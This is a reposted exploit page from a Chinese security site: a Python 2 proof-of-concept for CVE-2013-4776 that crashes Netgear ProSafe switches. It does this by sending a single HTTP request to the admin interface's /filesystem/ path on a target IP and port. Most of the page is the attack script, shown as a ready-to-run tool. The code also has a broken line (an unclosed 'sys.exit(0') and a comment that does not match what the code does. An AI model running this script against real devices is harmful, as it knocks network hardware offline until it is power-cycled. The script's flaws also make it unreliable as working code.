首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netgear ProSafe - Denial of Service Vulnerability
来源:post@encripto.no 作者:Guelfo 发布时间:2013-08-26  
import sys, getopt, urllib2
from subprocess import *
   
   
__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"
   
   
# Prints title and other header info
def header():
    print ""
    print " ================================================================= "
    print "|  Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t  |".format(__version__)
    print "|  by {0}\t\t  |".format(__author__)
    print " ================================================================= "
    print ""
   
       
# Prints help    
def help():
    header()
    print """
   Usage: python CVE-2013-4776.py [mandatory options]
   
   Mandatory options:
       -t target               ...Target IP address
       -p port                 ...Port where the HTTP admin interface is listening on
           
   Example:
       python CVE-2013-4776.py -t 192.168.0.1 -p 80
    """
    sys.exit(0
   
       
if __name__ == '__main__':
       
    #Parse options
    try:
        options, args = getopt.getopt(sys.argv[1:], "t:p:", ["target=", "port="])
   
    except getopt.GetoptError, err:
        header()
        print "\n[-] Error: {0}.\n".format(str(err))
        sys.exit(1)
       
    if not options:
        help()
       
    target = None
    port = None
    for opt, arg in options:
        if opt in ("-t"):
            target = arg
           
        if opt in ("-p"):
            port = arg    
               
    #Option input validation
    if not target or not port:
        help()
        print "[-] Error: Incorrect syntax.\n"
        sys.exit(1)
       
    header()
    headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }
   
    try:
        # Get the startup config via HTTP admin interface
        print "[+] Triggering DoS condition..."
        r = urllib2.Request('http://%s:%s/filesystem/' % (target, port), None, headers)
        urllib2.urlopen(r,"",5).read()
       
    except urllib2.URLError:
        print "[-] Error: The connection could not be established.\n"
           
    except:
        print "[+] The switch should be freaking out..."
        print "[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"
   
    sys.exit(0)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Samba nttrans Reply - Integer
·ALLMediaServer 0.95 Buffer Ove
·Samba nttrans Reply - Integer
·ALLMediaServer version 0.95 SE
·freeFTPd 1.0.10 (PASS Command)
·dreamMail e-mail client v4.6.9
·Graphite Web Unsafe Pickle Han
·Oracle Endeca Server Remote Co
·PCMAN FTP 2.07 STOR Command -
·Schneider Electric PLC ETY Ser
·VLC Player 2.0.8 (.m3u) - Loca
·libtiff <= 3.9.5 - Integer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved